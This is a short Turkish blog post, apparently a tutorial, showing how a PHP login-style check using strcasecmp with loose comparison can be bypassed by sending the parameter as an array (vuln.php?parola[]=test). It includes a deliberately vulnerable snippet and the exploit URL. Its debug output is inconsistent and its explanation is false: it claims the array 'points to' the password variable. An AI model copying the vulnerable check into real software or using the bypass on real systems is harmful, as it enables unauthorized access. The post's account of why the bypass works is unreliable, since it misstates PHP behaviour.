strcasecmp fonksiyonu iki string'in aynı olup olmadığını kontrol etmek amaçlı kullanılmaktadır.
Fonksiyonun kullanımıyla ilgili PHP dökümantasyonuna göz atabilirsiniz.
http://uk3.php.net/manual/tr/function.strcasecmp.php
İlk olarak bu fonksiyonun sebep olduğu güvenlik açığını anlamak için ufak bir kod parçası yazalım.
<?php
$anahtar = "gizliveri";
$parola = "test";
if ( strcasecmp( $_GET['parola'], $parola ) == 0 ) {
echo $anahtar;
}
?>
Görüldüğü gibi GET isteği ile kullanıcıdan bilgi alınıyor. vuln.php?parola=TEST veya vuln.php?parola=test yaparak anahtar değişkeninin değerini çıktı olarak görebilirsiniz.
Peki url'i şu şekilde değiştirsek neler olur?
vuln.php?parola[]=test
Burada parola isimli GET isteğini array olarak belirleyerek, parola değişkenine eşitlemiş olduk. Sonucu görmek için var_dump($_GET['parola']); fonksiyonu ile debug yapalım.
array(1) { [0] => string(5) "$parola" }
Görüldüğü gibi parola isimli array, parola değişkenine işaret ediyor ve anahtar değişkeni çıktı olarak veriyor.
Sonuç olarak, parola değerini bilmeden mevcut fonksiyonu bypass etmiş olduk.
Testlerde kullanılan PHP sürümü:
PHP 5.4.6-1ubuntu1.2 (cli)
EOF

0 yorum:
Yorum Gönder